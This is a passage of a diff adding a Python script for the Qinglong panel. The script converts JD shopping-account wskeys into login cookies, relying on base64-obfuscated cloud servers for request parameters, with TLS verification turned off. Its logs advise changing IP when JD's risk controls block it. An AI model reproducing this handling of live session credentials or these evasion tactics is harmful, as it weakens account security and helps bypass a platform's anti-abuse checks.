password + token = auth["token"] # 提取 authkey + try: + twoFactorSecret = auth["twoFactorSecret"] + except Exception as err: + logger.debug(str(err)) # Debug日志输出 + twoFactorSecret = '' + if token == '': # 判断 Token是否为空 + return get_qltoken(username, password, twoFactorSecret) # 调用方法 get_qltoken 传递 username & password + else: # 判断分支 + url = ql_url + 'api/user' # 设置URL请求地址 使用 Format格式化端口 + headers = { + 'Authorization': 'Bearer {0}'.format(token), + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36 Edg/94.0.992.38' + } # 设置用于 HTTP头 + res = requests.get(url=url, headers=headers) # 调用 request模块发送 get请求 + if res.status_code == 200: # 判断 HTTP返回状态码 + return token # 有效 返回 token + else: # 判断分支 + return get_qltoken(username, password, twoFactorSecret) # 调用方法 get_qltoken 传递 username & password + else: # 判断分支 + logger.info("没有发现auth文件, 你这是青龙吗???") # 输出标准日志 + sys.exit(0) # 脚本退出 + + +# 返回值 list[wskey] +def get_wskey(): # 方法 获取 wskey值 [系统变量传递] + if "JD_WSCK" in os.environ: # 判断 JD_WSCK是否存在于环境变量 + wskey_list = os.environ['JD_WSCK'].split('&') # 读取系统变量 以 & 分割变量 + if len(wskey_list) > 0: # 判断 WSKEY 数量 大于 0 个 + return wskey_list # 返回 WSKEY [LIST] + else: # 判断分支 + logger.info("JD_WSCK变量未启用") # 标准日志输出 + sys.exit(1) # 脚本退出 + else: # 判断分支 + logger.info("未添加JD_WSCK变量") # 标准日志输出 + sys.exit(0) # 脚本退出 + + +# 返回值 list[jd_cookie] +def get_ck(): # 方法 获取 JD_COOKIE值 [系统变量传递] + if "JD_COOKIE" in os.environ: # 判断 JD_COOKIE是否存在于环境变量 + ck_list = os.environ['JD_COOKIE'].split('&') # 读取系统变量 以 & 分割变量 + if len(ck_list) > 0: # 判断 WSKEY 数量 大于 0 个 + return ck_list # 返回 JD_COOKIE [LIST] + else: # 判断分支 + logger.info("JD_COOKIE变量未启用") # 标准日志输出 + sys.exit(1) # 脚本退出 + else: # 判断分支 + logger.info("未添加JD_COOKIE变量") # 标准日志输出 + sys.exit(0) # 脚本退出 + + +# 返回值 bool +def check_ck(ck): # 方法 检查 Cookie有效性 使用变量传递 单次调用 + searchObj = re.search(r'pt_pin=([^;\s]+)', ck, re.M | re.I) # 正则检索 pt_pin + if searchObj: # 真值判断 + pin = searchObj.group(1) # 取值 + else: # 判断分支 + pin = ck.split(";")[1] # 取值 使用 ; 分割 + if "WSKEY_UPDATE_HOUR" in os.environ: # 判断 WSKEY_UPDATE_HOUR是否存在于环境变量 + updateHour = 23 # 更新间隔23小时 + if os.environ["WSKEY_UPDATE_HOUR"].isdigit(): # 检查是否为 DEC值 + updateHour = int(os.environ["WSKEY_UPDATE_HOUR"]) # 使用 int化数字 + nowTime = time.time() # 获取时间戳 赋值 + updatedAt = 0.0 # 赋值 + searchObj = re.search(r'__time=([^;\s]+)', ck, re.M | re.I) # 正则检索 [__time=] + if searchObj: # 真值判断 + updatedAt = float(searchObj.group(1)) # 取值 [float]类型 + if nowTime - updatedAt >= (updateHour * 60 * 60) - (10 * 60): # 判断时间操作 + logger.info(str(pin) + ";即将到期或已过期\n") # 标准日志输出 + return False # 返回 Bool类型 False + else: # 判断分支 + remainingTime = (updateHour * 60 * 60) - (nowTime - updatedAt) # 时间运算操作 + hour = int(remainingTime / 60 / 60) # 时间运算操作 [int] + minute = int((remainingTime % 3600) / 60) # 时间运算操作 [int] + logger.info(str(pin) + ";未到期,{0}时{1}分后更新\n".format(hour, minute)) # 标准日志输出 + return True # 返回 Bool类型 True + elif "WSKEY_DISCHECK" in os.environ: # 判断分支 WSKEY_DISCHECK 是否存在于系统变量 + logger.info("不检查账号有效性\n--------------------\n") # 标准日志输出 + return False # 返回 Bool类型 False + else: # 判断分支 + url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion' # 设置JD_API接口地址 + headers = { + 'Cookie': ck, + 'Referer': 'https://home.m.jd.com/myJd/home.action', + 'user-agent': ua + } # 设置 HTTP头 + try: # 异常捕捉 + res = requests.get(url=url, headers=headers, verify=False, timeout=10) # 进行 HTTP请求[GET] 超时 10秒 + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("JD接口错误 请重试或者更换IP") # 标准日志输出 + return False # 返回 Bool类型 False + else: # 判断分支 + if res.status_code == 200: # 判断 JD_API 接口是否为 200 [HTTP_OK] + code = int(json.loads(res.text)['retcode']) # 使用 Json模块对返回数据取值 int([retcode]) + if code == 0: # 判断 code值 + logger.info(str(pin) + ";状态正常\n") # 标准日志输出 + return True # 返回 Bool类型 True + else: # 判断分支 + logger.info(str(pin) + ";状态失效\n") + return False # 返回 Bool类型 False + else: # 判断分支 + logger.info("JD接口错误码: " + str(res.status_code)) # 标注日志输出 + return False # 返回 Bool类型 False + + +# 返回值 bool jd_ck +def getToken(wskey): # 方法 获取 Wskey转换使用的 Token 由 JD_API 返回 这里传递 wskey + try: # 异常捕捉 + url = str(base64.b64decode(url_t).decode()) + 'api/genToken' # 设置云端服务器地址 路由为 genToken + header = {"User-Agent": ua} # 设置 HTTP头 + params = requests.get(url=url, headers=header, verify=False, timeout=20).json() # 设置 HTTP请求参数 超时 20秒 Json解析 + except Exception as err: # 异常捕捉 + logger.info("Params参数获取失败") # 标准日志输出 + logger.debug(str(err)) # 调试日志输出 + return False, wskey # 返回 -> False[Bool], Wskey + headers = { + 'cookie': wskey, + 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'charset': 'UTF-8', + 'accept-encoding': 'br,gzip,deflate', + 'user-agent': ua + } # 设置 HTTP头 + url = 'https://api.m.jd.com/client.action' # 设置 URL地址 + data = 'body=%7B%22to%22%3A%22https%253a%252f%252fplogin.m.jd.com%252fjd-mlogin%252fstatic%252fhtml%252fappjmp_blank.html%22%7D&' # 设置 POST 载荷 + try: # 异常捕捉 + res = requests.post(url=url, params=params, headers=headers, data=data, verify=False, + timeout=10) # HTTP请求 [POST] 超时 10秒 + res_json = json.loads(res.text) # Json模块 取值 + tokenKey = res_json['tokenKey'] # 取出TokenKey + except Exception as err: # 异常捕捉 + logger.info("JD_WSKEY接口抛出错误 尝试重试 更换IP") # 标准日志输出 + logger.info(str(err)) # 标注日志输出 + return False, wskey # 返回 -> False[Bool], Wskey + else: # 判断分支 + return appjmp(wskey, tokenKey) # 传递 wskey, Tokenkey 执行方法 [appjmp] + + +# 返回值 bool jd_ck +def appjmp(wskey, tokenKey): # 方法 传递 wskey & tokenKey + wskey = "pt_" + str(wskey.split(";")[0]) # 变量组合 使用 ; 分割变量 拼接 pt_ + if tokenKey == 'xxx': # 判断 tokenKey返回值 + logger.info(str(wskey) + ";疑似IP风控等问题 默认为失效\n--------------------\n") # 标准日志输出 + return False, wskey # 返回 -> False[Bool], Wskey + headers = { + 'User-Agent': ua, + 'accept': 'accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', + 'x-requested-with': 'com.jingdong.app.mall' + } # 设置 HTTP头 + params = { + 'tokenKey': tokenKey, + 'to': 'https://plogin.m.jd.com/jd-mlogin/static/html/appjmp_blank.html' + } # 设置 HTTP_URL 参数 + url = 'https://un.m.jd.com/cgi-bin/app/appjmp' # 设置 URL地址 + try: # 异常捕捉 + res = requests.get(url=url, headers=headers, params=params, verify=False, allow_redirects=False, + timeout=20) # HTTP请求 [GET] 阻止跳转 超时 20秒 + except Exception as err: # 异常捕捉 + logger.info("JD_appjmp 接口错误 请重试或者更换IP\n") # 标准日志输出 + logger.info(str(err)) # 标准日志输出 + return False, wskey # 返回 -> False[Bool], Wskey + else: # 判断分支 + try: # 异常捕捉 + res_set = res.cookies.get_dict() # 从res cookie取出 + pt_key = 'pt_key=' + res_set['pt_key'] # 取值 [pt_key] + pt_pin = 'pt_pin=' + res_set['pt_pin'] # 取值 [pt_pin] + if "WSKEY_UPDATE_HOUR" in os.environ: # 判断是否在系统变量中启用 WSKEY_UPDATE_HOUR + jd_ck = str(pt_key) + ';' + str(pt_pin) + ';__time=' + str(time.time()) + ';' # 拼接变量 + else: # 判断分支 + jd_ck = str(pt_key) + ';' + str(pt_pin) + ';' # 拼接变量 + except Exception as err: # 异常捕捉 + logger.info("JD_appjmp提取Cookie错误 请重试或者更换IP\n") # 标准日志输出 + logger.info(str(err)) # 标准日志输出 + return False, wskey # 返回 -> False[Bool], Wskey + else: # 判断分支 + if 'fake' in pt_key: # 判断 pt_key中 是否存在fake + logger.info(str(wskey) + ";WsKey状态失效\n") # 标准日志输出 + return False, wskey # 返回 -> False[Bool], Wskey + else: # 判断分支 + logger.info(str(wskey) + ";WsKey状态正常\n") # 标准日志输出 + return True, jd_ck # 返回 -> True[Bool], jd_ck + + +def update(): # 方法 脚本更新模块 + up_ver = int(cloud_arg['update']) # 云端参数取值 [int] + if ver >= up_ver: # 判断版本号大小 + logger.info("当前脚本版本: " + str(ver)) # 标准日志输出 + logger.info("--------------------\n") # 标准日志输出 + else: # 判断分支 + logger.info("当前脚本版本: " + str(ver) + "新版本: " + str(up_ver)) # 标准日志输出 + logger.info("存在新版本, 请更新脚本后执行") # 标准日志输出 + logger.info("--------------------\n") # 标准日志输出 + text = '当前脚本版本: {0}新版本: {1}, 请更新脚本~!'.format(ver, up_ver) # 设置发送内容 + ql_send(text) + # sys.exit(0) # 退出脚本 [未启用] + + +def ql_check(port): # 方法 检查青龙端口 + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Socket模块初始化 + sock.settimeout(2) # 设置端口超时 + try: # 异常捕捉 + sock.connect(('127.0.0.1', port)) # 请求端口 + except Exception as err: # 捕捉异常 + logger.debug(str(err)) # 调试日志输出 + sock.close() # 端口关闭 + return False # 返回 -> False[Bool] + else: # 分支判断 + sock.close() # 关闭端口 + return True # 返回 -> True[Bool] + + +def serch_ck(pin): # 方法 搜索 Pin + for i in range(len(envlist)): # For循环 变量[envlist]的数量 + if "name" not in envlist[i] or envlist[i]["name"] != "JD_COOKIE": # 判断 envlist内容 + continue # 继续循环 + if pin in envlist[i]['value']: # 判断envlist取值['value'] + value = envlist[i]['value'] # 取值['value'] + id = envlist[i][ql_id] # 取值 [ql_id](变量) + logger.info(str(pin) + "检索成功\n") # 标准日志输出 + return True, value, id # 返回 -> True[Bool], value, id + else: # 判断分支 + continue # 继续循环 + logger.info(str(pin) + "检索失败\n") # 标准日志输出 + return False, 1 # 返回 -> False[Bool], 1 + + +def get_env(): # 方法 读取变量 + url = ql_url + 'api/envs' + try: # 异常捕捉 + res = s.get(url) # HTTP请求 [GET] 使用 session + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("\n青龙环境接口错误") # 标准日志输出 + sys.exit(1) # 脚本退出 + else: # 判断分支 + data = json.loads(res.text)['data'] # 使用Json模块提取值[data] + return data # 返回 -> data + + +def check_id(): # 方法 兼容青龙老版本与新版本 id & _id的问题 + url = ql_url + 'api/envs' + try: # 异常捕捉 + res = s.get(url).json() # HTTP[GET] 请求 使用 session + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("\n青龙环境接口错误") # 标准日志输出 + sys.exit(1) # 脚本退出 + else: # 判断分支 + if '_id' in res['data'][0]: # 判断 [_id] + logger.info("使用 _id 键值") # 标准日志输出 + return '_id' # 返回 -> '_id' + else: # 判断分支 + logger.info("使用 id 键值") # 标准日志输出 + return 'id' # 返回 -> 'id' + + +def ql_update(e_id, n_ck): # 方法 青龙更新变量 传递 id cookie + url = ql_url + 'api/envs' + data = { + "name": "JD_COOKIE", + "value": n_ck, + ql_id: e_id + } # 设置 HTTP POST 载荷 + data = json.dumps(data) # json模块格式化 + s.put(url=url, data=data) # HTTP [PUT] 请求 使用 session + ql_enable(eid) # 调用方法 ql_enable 传递 eid + + +def ql_enable(e_id): # 方法 青龙变量启用 传递值 eid + url = ql_url + 'api/envs/enable' + data = '["{0}"]'.format(e_id) # 格式化 POST 载荷 + res = json.loads(s.put(url=url, data=data).text) # json模块读取 HTTP[PUT] 的返回值 + if res['code'] == 200: # 判断返回值为 200 + logger.info("\n账号启用\n--------------------\n") # 标准日志输出 + return True # 返回 ->True + else: # 判断分支 + logger.info("\n账号启用失败\n--------------------\n") # 标准日志输出 + return False # 返回 -> Fasle + + +def ql_disable(e_id): # 方法 青龙变量禁用 传递 eid + url = ql_url + 'api/envs/disable' + data = '["{0}"]'.format(e_id) # 格式化 POST 载荷 + res = json.loads(s.put(url=url, data=data).text) # json模块读取 HTTP[PUT] 的返回值 + if res['code'] == 200: # 判断返回值为 200 + logger.info("\n账号禁用成功\n--------------------\n") # 标准日志输出 + return True # 返回 ->True + else: # 判断分支 + logger.info("\n账号禁用失败\n--------------------\n") # 标准日志输出 + return False # 返回 -> Fasle + + +def ql_insert(i_ck): # 方法 插入新变量 + data = [{"value": i_ck, "name": "JD_COOKIE"}] # POST数据载荷组合 + data = json.dumps(data) # Json格式化数据 + url = ql_url + 'api/envs' + s.post(url=url, data=data) # HTTP[POST]请求 使用session + logger.info("\n账号添加完成\n--------------------\n") # 标准日志输出 + + +def cloud_info(): # 方法 云端信息 + url = str(base64.b64decode(url_t).decode()) + 'api/check_api' # 设置 URL地址 路由 [check_api] + for i in range(3): # For循环 3次 + try: # 异常捕捉 + headers = {"authorization": "Bearer Shizuku"} # 设置 HTTP头 + res = requests.get(url=url, verify=False, headers=headers, timeout=20).text # HTTP[GET] 请求 超时 20秒 + except requests.exceptions.ConnectTimeout: # 异常捕捉 + logger.info("\n获取云端参数超时, 正在重试!" + str(i)) # 标准日志输出 + time.sleep(1) # 休眠 1秒 + continue # 循环继续 + except requests.exceptions.ReadTimeout: # 异常捕捉 + logger.info("\n获取云端参数超时, 正在重试!" + str(i)) # 标准日志输出 + time.sleep(1) # 休眠 1秒 + continue # 循环继续 + except Exception as err: # 异常捕捉 + logger.info("\n未知错误云端, 退出脚本!") # 标准日志输出 + logger.debug(str(err)) # 调试日志输出 + sys.exit(1) # 脚本退出 + else: # 分支判断 + try: # 异常捕捉 + c_info = json.loads(res) # json读取参数 + except Exception as err: # 异常捕捉 + logger.info("云端参数解析失败") # 标准日志输出 + logger.debug(str(err)) # 调试日志输出 + sys.exit(1) # 脚本退出 + else: # 分支判断 + return c_info # 返回 -> c_info + + +def check_cloud(): # 方法 云端地址检查 + url_list = ['aHR0cDovL2FwaS5tb21vZS5tbC8=', 'aHR0cHM6Ly9hcGkubW9tb2UubWwv', + 'aHR0cHM6Ly9hcGkuaWxpeWEuY2Yv'] # URL list Encode + for i in url_list: # for循环 url_list + url = str(base64.b64decode(i).decode()) # 设置 url地址 [str] + try: # 异常捕捉 + requests.get(url=url, verify=False, timeout=10) # HTTP[GET]请求 超时 10秒 + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + continue # 循环继续 + else: # 分支判断 + info = ['HTTP', 'HTTPS', 'CloudFlare'] # 输出信息[List] + logger.info(str(info[url_list.index(i)]) + " Server Check OK\n--------------------\n") # 标准日志输出 + return i # 返回 ->i + logger.info("\n云端地址全部失效, 请检查网络!") # 标准日志输出 + ql_send('云端地址失效. 请联系作者或者检查网络.') # 推送消息 + sys.exit(1) # 脚本退出 + + +def check_port(): # 方法 检查变量传递端口 + logger.info("\n--------------------\n") # 标准日志输出 + if "QL_PORT" in os.environ: # 判断 系统变量是否存在[QL_PORT] + try: # 异常捕捉 + port = int(os.environ['QL_PORT']) # 取值 [int] + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("变量格式有问题...\n格式: export QL_PORT=\"端口号\"") # 标准日志输出 + logger.info("使用默认端口5700") # 标准日志输出 + return 5700 # 返回端口 5700 + else: # 判断分支 + port = 5700 # 默认5700端口 + if not ql_check(port): # 调用方法 [ql_check] 传递 [port] + logger.info(str(port) + "端口检查失败, 如果改过端口, 请在变量中声明端口 \n在config.sh中加入 export QL_PORT=\"端口号\"") # 标准日志输出 + logger.info("\n如果你很确定端口没错, 还是无法执行, 在GitHub给我发issus\n--------------------\n") # 标准日志输出 + sys.exit(1) # 脚本退出 + else: # 判断分支 + logger.info(str(port) + "端口检查通过") # 标准日志输出 + return port # 返回->port + + +if __name__ == '__main__': # Python主函数执行入口 + port = check_port() # 调用方法 [check_port] 并赋值 [port] + ql_url = 'http://127.0.0.1:{0}/'.format(port) + token = ql_login() # 调用方法 [ql_login] 并赋值 [token] + s = requests.session() # 设置 request session方法 + s.headers.update({"authorization": "Bearer " + str(token)}) # 增加 HTTP头认证 + s.headers.update({"Content-Type": "application/json;charset=UTF-8"}) # 增加 HTTP头 json 类型 + ql_id = check_id() # 调用方法 [check_id] 并赋值 [ql_id] + url_t = check_cloud() # 调用方法 [check_cloud] 并赋值 [url_t] + cloud_arg = cloud_info() # 调用方法 [cloud_info] 并赋值 [cloud_arg] + update() # 调用方法 [update] + ua = cloud_arg['User-Agent'] # 设置全局变量 UA + wslist = get_wskey() # 调用方法 [get_wskey] 并赋值 [wslist] + envlist = get_env() # 调用方法 [get_env] 并赋值 [envlist] + if "WSKEY_SLEEP" in os.environ and str(os.environ["WSKEY_SLEEP"]).isdigit(): # 判断变量[WSKEY_SLEEP]是否为数字类型 + sleepTime = int(os.environ["WSKEY_SLEEP"]) # 获取变量 [int] + else: # 判断分支 + sleepTime = 10 # 默认休眠时间 10秒 + for ws in wslist: # wslist变量 for循环 [wslist -> ws] + wspin = ws.split(";")[0] # 变量分割 ; + if "pin" in wspin: # 判断 pin 是否存在于 [wspin] + wspin = "pt_" + wspin + ";" # 封闭变量 + return_serch = serch_ck(wspin) # 变量 pt_pin 搜索获取 key eid + if return_serch[0]: # bool: True 搜索到账号 + jck = str(return_serch[1]) # 拿到 JD_COOKIE + if not check_ck(jck): # bool: False 判定 JD_COOKIE 有效性 + tryCount = 1 # 重试次数 1次 + if "WSKEY_TRY_COUNT" in os.environ: # 判断 [WSKEY_TRY_COUNT] 是否存在于系统变量 + if os.environ["WSKEY_TRY_COUNT"].isdigit(): # 判断 [WSKEY_TRY_COUNT] 是否为数字 + tryCount = int(os.environ["WSKEY_TRY_COUNT"]) # 设置 [tryCount] int + for count in range(tryCount): # for循环 [tryCount] + count += 1 # 自增 + return_ws = getToken(ws) # 使用 WSKEY 请求获取 JD_COOKIE bool jd_ck + if return_ws[0]: # 判断 [return_ws]返回值 Bool类型 + break # 中断循环 + if count < tryCount: # 判断循环次 + logger.info("{0} 秒后重试,剩余次数:{1}\n".format(sleepTime, tryCount - count)) # 标准日志输出 + time.sleep(sleepTime) # 脚本休眠 使用变量 [sleepTime] + if return_ws[0]: # 判断 [return_ws]返回值 Bool类型 + nt_key = str(return_ws[1]) # 从 return_ws[1] 取出 -> nt_key + # logger.info("wskey转pt_key成功", nt_key) # 标准日志输出 [未启用] + logger.info("wskey转换成功") # 标准日志输出 + eid = return_serch[2] # 从 return_serch 拿到 eid + ql_update(eid, nt_key) # 函数 ql_update 参数 eid JD_COOKIE + else: # 判断分支 + if "WSKEY_AUTO_DISABLE" in os.environ: # 从系统变量中获取 WSKEY_AUTO_DISABLE + logger.info(str(wspin) + "账号失效") # 标准日志输出 + text = "账号: {0} WsKey疑似失效".format(wspin) # 设置推送内容 + else: # 判断分支 + eid = return_serch[2] # 读取 return_serch[2] -> eid + logger.info(str(wspin) + "账号禁用") # 标准日志输出 + ql_disable(eid) # 执行方法[ql_disable] 传递 eid + text = "账号: {0} WsKey疑似失效, 已禁用Cookie".format(wspin) # 设置推送内容 + ql_send(text) + else: # 判断分支 + logger.info(str(wspin) + "账号有效") # 标准日志输出 + eid = return_serch[2] # 读取 return_serch[2] -> eid + ql_enable(eid) # 执行方法[ql_enable] 传递 eid + logger.info("--------------------\n") # 标准日志输出 + else: # 判断分支 + logger.info("\n新wskey\n") # 标准日志分支 + return_ws = getToken(ws) # 使用 WSKEY 请求获取 JD_COOKIE bool jd_ck + if return_ws[0]: # 判断 (return_ws[0]) 类型: [Bool] + nt_key = str(return_ws[1]) # return_ws[1] -> nt_key + logger.info("wskey转换成功\n") # 标准日志输出 + ql_insert(nt_key) # 调用方法 [ql_insert] + logger.info("暂停{0}秒\n".format(sleepTime)) # 标准日志输出 + time.sleep(sleepTime) # 脚本休眠 + else: # 判断分支 + logger.info("WSKEY格式错误\n--------------------\n") # 标准日志输出 + logger.info("执行完成\n--------------------") # 标准日志输出 + sys.exit(0) # 脚本退出 + # Enjoy